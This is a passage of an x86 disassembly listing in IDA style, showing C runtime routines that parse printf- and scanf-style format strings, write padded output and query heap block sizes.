[esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41AA7A push edi push eax push ebx call sub_41E3D1 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41AAAD ; --------------------------------------------------------------------------- loc_41AA7A: ; CODE XREF: sub_41A9D8+90j cmp ebx, 0FFFFFFFFh jz short loc_41AA95 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_493E60[eax*4] lea eax, [eax+ecx*8] jmp short loc_41AA9A ; --------------------------------------------------------------------------- loc_41AA95: ; CODE XREF: sub_41A9D8+A5j mov eax, offset dword_436130 loc_41AA9A: ; CODE XREF: sub_41A9D8+BBj test byte ptr [eax+4], 20h jz short loc_41AAAD push 2 push 0 push ebx call sub_41CE78 add esp, 0Ch loc_41AAAD: ; CODE XREF: sub_41A9D8+A0j ; sub_41A9D8+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41AACB ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41A9D8+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41E3D1 add esp, 0Ch mov [ebp+arg_4], eax loc_41AACB: ; CODE XREF: sub_41A9D8+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41AAD7 or dword ptr [esi+0Ch], 20h jmp short loc_41AAE6 ; --------------------------------------------------------------------------- loc_41AAD7: ; CODE XREF: sub_41A9D8+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41AAE9 ; --------------------------------------------------------------------------- loc_41AAE1: ; CODE XREF: sub_41A9D8+10j ; sub_41A9D8+18j ... or al, 20h mov [esi+0Ch], eax loc_41AAE6: ; CODE XREF: sub_41A9D8+FDj or eax, 0FFFFFFFFh loc_41AAE9: ; CODE XREF: sub_41A9D8+107j pop esi pop ebx pop ebp retn sub_41A9D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AAED proc near ; CODE XREF: sub_4163D7+28p ; sub_416821+29p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41B206 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41AB21 ; --------------------------------------------------------------------------- loc_41AB19: ; CODE XREF: sub_41AAED+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41AB21: ; CODE XREF: sub_41AAED+2Aj cmp [ebp+var_14], edx jl loc_41B206 cmp bl, 20h jl short loc_41AB42 cmp bl, 78h jg short loc_41AB42 movsx eax, bl mov al, ds:byte_427790[eax] and eax, 0Fh jmp short loc_41AB44 ; --------------------------------------------------------------------------- loc_41AB42: ; CODE XREF: sub_41AAED+40j ; sub_41AAED+45j xor eax, eax loc_41AB44: ; CODE XREF: sub_41AAED+53j movsx eax, ds:byte_4277B0[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41B1F5 ; default jmp ds:off_41B20E[eax*4] ; switch jump loc_41AB62: ; DATA XREF: .text:off_41B20Eo or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041AB5B case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41AB7D: ; CODE XREF: sub_41AAED+6Ej ; DATA XREF: .text:off_41B20Eo movsx eax, bl ; jumptable 0041AB5B case 2 sub eax, 20h jz short loc_41ABC0 sub eax, 3 jz short loc_41ABB7 sub eax, 8 jz short loc_41ABAE dec eax dec eax jz short loc_41ABA5 sub eax, 3 jnz loc_41B1F5 ; default or [ebp+var_4], 8 jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41ABA5: ; CODE XREF: sub_41AAED+A4j or [ebp+var_4], 4 jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41ABAE: ; CODE XREF: sub_41AAED+A0j or [ebp+var_4], 1 jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41ABB7: ; CODE XREF: sub_41AAED+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41ABC0: ; CODE XREF: sub_41AAED+96j or [ebp+var_4], 2 jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41ABC9: ; CODE XREF: sub_41AAED+6Ej ; DATA XREF: .text:off_41B20Eo cmp bl, 2Ah ; jumptable 0041AB5B case 3 jnz short loc_41ABF1 lea eax, [ebp+arg_8] push eax call sub_41B2CC test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41B1F5 ; default or [ebp+var_4], 4 neg eax loc_41ABE9: ; CODE XREF: sub_41AAED+111j mov [ebp+var_20], eax jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41ABF1: ; CODE XREF: sub_41AAED+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41ABE9 ; --------------------------------------------------------------------------- loc_41AC00: ; CODE XREF: sub_41AAED+6Ej ; DATA XREF: .text:off_41B20Eo mov [ebp+var_10], edx ; jumptable 0041AB5B case 4 jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41AC08: ; CODE XREF: sub_41AAED+6Ej ; DATA XREF: .text:off_41B20Eo cmp bl, 2Ah ; jumptable 0041AB5B case 5 jnz short loc_41AC2B lea eax, [ebp+arg_8] push eax call sub_41B2CC test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41B1F5 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41AC2B: ; CODE XREF: sub_41AAED+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41AC3D: ; CODE XREF: sub_41AAED+6Ej ; DATA XREF: .text:off_41B20Eo cmp bl, 49h ; jumptable 0041AB5B case 6 jz short loc_41AC70 cmp bl, 68h jz short loc_41AC67 cmp bl, 6Ch jz short loc_41AC5E cmp bl, 77h jnz loc_41B1F5 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41AC5E: ; CODE XREF: sub_41AAED+15Dj or [ebp+var_4], 10h jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41AC67: ; CODE XREF: sub_41AAED+158j or [ebp+var_4], 20h jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41AC70: ; CODE XREF: sub_41AAED+153j cmp byte ptr [edi], 36h jnz short loc_41AC89 cmp byte ptr [edi+1], 34h jnz short loc_41AC89 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41AC89: ; CODE XREF: sub_41AAED+186j ; sub_41AAED+18Cj mov [ebp+var_30], edx loc_41AC8C: ; CODE XREF: sub_41AAED+6Ej ; DATA XREF: .text:off_41B20Eo mov ecx, off_435C2C ; jumptable 0041AB5B case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41ACB8 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41B22E mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41ACB8: ; CODE XREF: sub_41AAED+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41B22E add esp, 0Ch jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41ACD0: ; CODE XREF: sub_41AAED+6Ej ; DATA XREF: .text:off_41B20Eo movsx eax, bl ; jumptable 0041AB5B case 7 cmp eax, 67h jg loc_41AEF8 cmp eax, 65h jge loc_41AD7B cmp eax, 58h jg loc_41ADD9 jz loc_41AF6C sub eax, 43h jz loc_41AD9C dec eax dec eax jz short loc_41AD71 dec eax dec eax jz short loc_41AD71 sub eax, 0Ch jnz loc_41B0F7 test word ptr [ebp+var_4], 830h jnz short loc_41AD1A or byte ptr [ebp+var_4+1], 8 loc_41AD1A: ; CODE XREF: sub_41AAED+227j ; sub_41AAED+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41AD27 mov esi, 7FFFFFFFh loc_41AD27: ; CODE XREF: sub_41AAED+233j lea eax, [ebp+arg_8] push eax call sub_41B2CC test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41AF40 test ecx, ecx jnz short loc_41AD4F mov ecx, off_435C1C mov [ebp+var_8], ecx loc_41AD4F: ; CODE XREF: sub_41AAED+257j mov [ebp+var_24], 1 mov eax, ecx loc_41AD58: ; CODE XREF: sub_41AAED+282j mov edx, esi dec esi test edx, edx jz loc_41AF37 cmp word ptr [eax], 0 jz loc_41AF37 inc eax inc eax jmp short loc_41AD58 ; --------------------------------------------------------------------------- loc_41AD71: ; CODE XREF: sub_41AAED+212j ; sub_41AAED+216j mov [ebp+var_34], 1 add bl, 20h loc_41AD7B: ; CODE XREF: sub_41AAED+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41AE5F mov [ebp+var_10], 6 jmp loc_41AE6D ; --------------------------------------------------------------------------- loc_41AD9C: ; CODE XREF: sub_41AAED+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41ADA8 or byte ptr [ebp+var_4+1], 8 loc_41ADA8: ; CODE XREF: sub_41AAED+2B5j ; sub_41AAED+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41ADEF call sub_41B2E9 push eax lea eax, [ebp+var_248] push eax call sub_41E6A1 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41AE02 mov [ebp+var_28], 1 jmp short loc_41AE02 ; --------------------------------------------------------------------------- loc_41ADD9: ; CODE XREF: sub_41AAED+1FBj sub eax, 5Ah jz short loc_41AE10 sub eax, 9 jz short loc_41ADA8 dec eax jz loc_41AFD2 jmp loc_41B0F7 ; --------------------------------------------------------------------------- loc_41ADEF: ; CODE XREF: sub_41AAED+2C5j call sub_41B2CC pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41AE02: ; CODE XREF: sub_41AAED+2E1j ; sub_41AAED+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41B0F7 ; --------------------------------------------------------------------------- loc_41AE10: ; CODE XREF: sub_41AAED+2EFj lea eax, [ebp+arg_8] push eax call sub_41B2CC test eax, eax pop ecx jz short loc_41AE51 mov ecx, [eax+4] test ecx, ecx jz short loc_41AE51 test byte ptr [ebp+var_4+1], 8 jz short loc_41AE42 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41B0F7 ; --------------------------------------------------------------------------- loc_41AE42: ; CODE XREF: sub_41AAED+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41B0F4 ; --------------------------------------------------------------------------- loc_41AE51: ; CODE XREF: sub_41AAED+32Fj ; sub_41AAED+336j mov eax, off_435C18 mov [ebp+var_8], eax push eax jmp loc_41AEED ; --------------------------------------------------------------------------- loc_41AE5F: ; CODE XREF: sub_41AAED+29Dj jnz short loc_41AE6D cmp bl, 67h jnz short loc_41AE6D mov [ebp+var_10], 1 loc_41AE6D: ; CODE XREF: sub_41AAED+2AAj ; sub_41AAED:loc_41AE5Fj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_435BE8 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41AEBF cmp [ebp+var_10], 0 jnz short loc_41AEBF lea eax, [ebp+var_248] push eax call off_435BF4 pop ecx loc_41AEBF: ; CODE XREF: sub_41AAED+3BCj ; sub_41AAED+3C2j cmp bl, 67h jnz short loc_41AED6 test esi, esi jnz short loc_41AED6 lea eax, [ebp+var_248] push eax call off_435BEC pop ecx loc_41AED6: ; CODE XREF: sub_41AAED+3D5j ; sub_41AAED+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41AEEC or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41AEEC: ; CODE XREF: sub_41AAED+3F0j push edi loc_41AEED: ; CODE XREF: sub_41AAED+36Dj call sub_4158E0 pop ecx jmp loc_41B0F4 ; --------------------------------------------------------------------------- loc_41AEF8: ; CODE XREF: sub_41AAED+1E9j sub eax, 69h jz loc_41AFD2 sub eax, 5 jz loc_41AFA8 dec eax jz loc_41AF95 dec eax jz short loc_41AF65 sub eax, 3 jz loc_41AD1A dec eax dec eax jz loc_41AFD6 sub eax, 3 jnz loc_41B0F7 mov [ebp+var_2C], 27h jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF37: ; CODE XREF: sub_41AAED+270j ; sub_41AAED+27Aj sub eax, ecx sar eax, 1 jmp loc_41B0F4 ; --------------------------------------------------------------------------- loc_41AF40: ; CODE XREF: sub_41AAED+24Fj test ecx, ecx jnz short loc_41AF4D mov ecx, off_435C18 mov [ebp+var_8], ecx loc_41AF4D: ; CODE XREF: sub_41AAED+455j mov eax, ecx loc_41AF4F: ; CODE XREF: sub_41AAED+46Fj mov edx, esi dec esi test edx, edx jz short loc_41AF5E cmp byte ptr [eax], 0 jz short loc_41AF5E inc eax jmp short loc_41AF4F ; --------------------------------------------------------------------------- loc_41AF5E: ; CODE XREF: sub_41AAED+467j ; sub_41AAED+46Cj sub eax, ecx jmp loc_41B0F4 ; --------------------------------------------------------------------------- loc_41AF65: ; CODE XREF: sub_41AAED+425j mov [ebp+var_10], 8 loc_41AF6C: ; CODE XREF: sub_41AAED+201j mov [ebp+var_2C], 7 loc_41AF73: ; CODE XREF: sub_41AAED+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41AFDD mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41AFDD ; --------------------------------------------------------------------------- loc_41AF95: ; CODE XREF: sub_41AAED+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41AFDD or byte ptr [ebp+var_4+1], 2 jmp short loc_41AFDD ; --------------------------------------------------------------------------- loc_41AFA8: ; CODE XREF: sub_41AAED+417j lea eax, [ebp+arg_8] push eax call sub_41B2CC test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41AFC1 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41AFC6 ; --------------------------------------------------------------------------- loc_41AFC1: ; CODE XREF: sub_41AAED+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41AFC6: ; CODE XREF: sub_41AAED+4D2j mov [ebp+var_28], 1 jmp loc_41B1F5 ; default ; --------------------------------------------------------------------------- loc_41AFD2: ; CODE XREF: sub_41AAED+2F7j ; sub_41AAED+40Ej or [ebp+var_4], 40h loc_41AFD6: ; CODE XREF: sub_41AAED+432j mov [ebp+var_C], 0Ah loc_41AFDD: ; CODE XREF: sub_41AAED+491j ; sub_41AAED+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41AFEF lea eax, [ebp+arg_8] push eax call sub_41B2D9 pop ecx jmp short loc_41B030 ; --------------------------------------------------------------------------- loc_41AFEF: ; CODE XREF: sub_41AAED+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41B016 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41B00B call sub_41B2CC pop ecx movsx eax, ax loc_41B008: ; CODE XREF: sub_41AAED+527j ; sub_41AAED+539j cdq jmp short loc_41B030 ; --------------------------------------------------------------------------- loc_41B00B: ; CODE XREF: sub_41AAED+510j call sub_41B2CC pop ecx movzx eax, ax jmp short loc_41B008 ; --------------------------------------------------------------------------- loc_41B016: ; CODE XREF: sub_41AAED+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41B028 call sub_41B2CC pop ecx jmp short loc_41B008 ; --------------------------------------------------------------------------- loc_41B028: ; CODE XREF: sub_41AAED+531j call sub_41B2CC pop ecx xor edx, edx loc_41B030: ; CODE XREF: sub_41AAED+500j ; sub_41AAED+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41B051 test edx, edx jg short loc_41B051 jl short loc_41B040 test eax, eax jnb short loc_41B051 loc_41B040: ; CODE XREF: sub_41AAED+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41B055 ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AAED+547j ; sub_41AAED+54Bj ... mov esi, eax mov edi, edx loc_41B055: ; CODE XREF: sub_41AAED+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41B05E and edi, 0 loc_41B05E: ; CODE XREF: sub_41AAED+56Cj cmp [ebp+var_10], 0 jge short loc_41B06D mov [ebp+var_10], 1 jmp short loc_41B071 ; --------------------------------------------------------------------------- loc_41B06D: ; CODE XREF: sub_41AAED+575j and [ebp+var_4], 0FFFFFFF7h loc_41B071: ; CODE XREF: sub_41AAED+57Ej mov eax, esi or eax, edi jnz short loc_41B07B and [ebp+var_1C], 0 loc_41B07B: ; CODE XREF: sub_41AAED+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41B081: ; CODE XREF: sub_41AAED+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41B091 mov eax, esi or eax, edi jz short loc_41B0CC loc_41B091: ; CODE XREF: sub_41AAED+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_4170E0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_417070 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41B0C2 add ebx, [ebp+var_2C] loc_41B0C2: ; CODE XREF: sub_41AAED+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41B081 ; --------------------------------------------------------------------------- loc_41B0CC: ; CODE XREF: sub_41AAED+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41B0F7 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41B0EA test eax, eax jnz short loc_41B0F7 loc_41B0EA: ; CODE XREF: sub_41AAED+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41B0F4: ; CODE XREF: sub_41AAED+35Fj ; sub_41AAED+406j ... mov [ebp+var_C], eax loc_41B0F7: ; CODE XREF: sub_41AAED+21Bj ; sub_41AAED+2FDj ... cmp [ebp+var_28], 0 jnz loc_41B1F5 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41B12F test bh, 1 jz short loc_41B114 mov [ebp+var_16], 2Dh jmp short loc_41B128 ; --------------------------------------------------------------------------- loc_41B114: ; CODE XREF: sub_41AAED+61Fj test bl, 1 jz short loc_41B11F mov [ebp+var_16], 2Bh jmp short loc_41B128 ; --------------------------------------------------------------------------- loc_41B11F: ; CODE XREF: sub_41AAED+62Aj test bl, 2 jz short loc_41B12F mov [ebp+var_16], 20h loc_41B128: ; CODE XREF: sub_41AAED+625j ; sub_41AAED+630j mov [ebp+var_1C], 1 loc_41B12F: ; CODE XREF: sub_41AAED+61Aj ; sub_41AAED+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41B14F lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41B263 add esp, 10h loc_41B14F: ; CODE XREF: sub_41AAED+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41B294 add esp, 10h test bl, 8 jz short loc_41B181 test bl, 4 jnz short loc_41B181 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41B263 add esp, 10h loc_41B181: ; CODE XREF: sub_41AAED+67Bj ; sub_41AAED+680j cmp [ebp+var_24], 0 jz short loc_41B1C8 cmp [ebp+var_C], 0 jle short loc_41B1C8 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41B196: ; CODE XREF: sub_41AAED+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41E6A1 pop ecx test eax, eax pop ecx jle short loc_41B1DD lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41B294 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41B196 jmp short loc_41B1DD ; --------------------------------------------------------------------------- loc_41B1C8: ; CODE XREF: sub_41AAED+698j ; sub_41AAED+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41B294 add esp, 10h loc_41B1DD: ; CODE XREF: sub_41AAED+6BCj ; sub_41AAED+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41B1F5 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41B263 add esp, 10h loc_41B1F5: ; CODE XREF: sub_41AAED+68j ; sub_41AAED+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41AB19 loc_41B206: ; CODE XREF: sub_41AAED+1Fj ; sub_41AAED+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41AAED endp ; --------------------------------------------------------------------------- off_41B20E dd offset loc_41AC8C ; DATA XREF: sub_41AAED+6Er dd offset loc_41AB62 ; jump table for switch statement dd offset loc_41AB7D dd offset loc_41ABC9 dd offset loc_41AC00 dd offset loc_41AC08 dd offset loc_41AC3D dd offset loc_41ACD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B22E proc near ; CODE XREF: sub_41AAED+1BDp ; sub_41AAED+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41B247 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41B252 ; --------------------------------------------------------------------------- loc_41B247: ; CODE XREF: sub_41B22E+9j push ecx push [ebp+arg_0] call sub_41A9D8 pop ecx pop ecx loc_41B252: ; CODE XREF: sub_41B22E+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41B25F or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41B25F: ; CODE XREF: sub_41B22E+2Aj inc dword ptr [eax] pop ebp retn sub_41B22E endp ; =============== S U B R O U T I N E ======================================= sub_41B263 proc near ; CODE XREF: sub_41AAED+65Ap ; sub_41AAED+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41B291 mov esi, [esp+8+arg_C] loc_41B274: ; CODE XREF: sub_41B263+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41B22E add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41B291 mov eax, edi dec edi test eax, eax jg short loc_41B274 loc_41B291: ; CODE XREF: sub_41B263+Bj ; sub_41B263+25j pop edi pop esi retn sub_41B263 endp ; =============== S U B R O U T I N E ======================================= sub_41B294 proc near ; CODE XREF: sub_41AAED+670p ; sub_41AAED+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41B2C8 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41B2AA: ; CODE XREF: sub_41B294+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41B22E add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41B2C8 mov eax, ebx dec ebx test eax, eax jg short loc_41B2AA loc_41B2C8: ; CODE XREF: sub_41B294+Cj ; sub_41B294+2Bj pop edi pop esi pop ebx retn sub_41B294 endp ; =============== S U B R O U T I N E ======================================= sub_41B2CC proc near ; CODE XREF: sub_41AAED+E5p ; sub_41AAED+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41B2CC endp ; =============== S U B R O U T I N E ======================================= sub_41B2D9 proc near ; CODE XREF: sub_41AAED+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41B2D9 endp ; =============== S U B R O U T I N E ======================================= sub_41B2E9 proc near ; CODE XREF: sub_41AAED+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41B2E9 endp ; =============== S U B R O U T I N E ======================================= sub_41B2F7 proc near ; CODE XREF: sub_416773+7p ; sub_416773+26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_418317 test eax, eax pop ecx jz short loc_41B30F mov eax, [esi-4] pop esi sub eax, 9 retn ; --------------------------------------------------------------------------- loc_41B30F: ; CODE XREF: sub_41B2F7+Ej push esi push 0 push dword_49426C call ds:dword_495464 ; RtlSizeHeap pop esi retn sub_41B2F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B320 proc near ; CODE XREF: sub_416B36+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41BD26 mov edi, [ebp+arg_0] jmp short loc_41B34F ; --------------------------------------------------------------------------- loc_41B34A: ; CODE XREF: sub_41B320+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41B34F: ; CODE XREF: sub_41B320+28j cmp dword_435E38, 1 jle short loc_41B367 movzx eax, al push 8 push eax call sub_41BDD1 pop ecx pop ecx jmp short loc_41B376 ; --------------------------------------------------------------------------- loc_41B367: ; CODE XREF: sub_41B320+36j mov ecx, off_435C2C movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41B376: ; CODE XREF: sub_41B320+45j cmp eax, ebx jz short loc_41B3B0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41BDAD pop ecx pop ecx push eax call sub_41BD96 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41E8A4 add esp, 0Ch loc_41B39E: ; CODE XREF: sub_41B320+8Ej test eax, eax jz short loc_41B3B0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41E8A4 pop ecx jmp short loc_41B39E ; --------------------------------------------------------------------------- loc_41B3B0: ; CODE XREF: sub_41B320+58j ; sub_41B320+80j cmp byte ptr [esi], 25h jnz loc_41BC92 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi 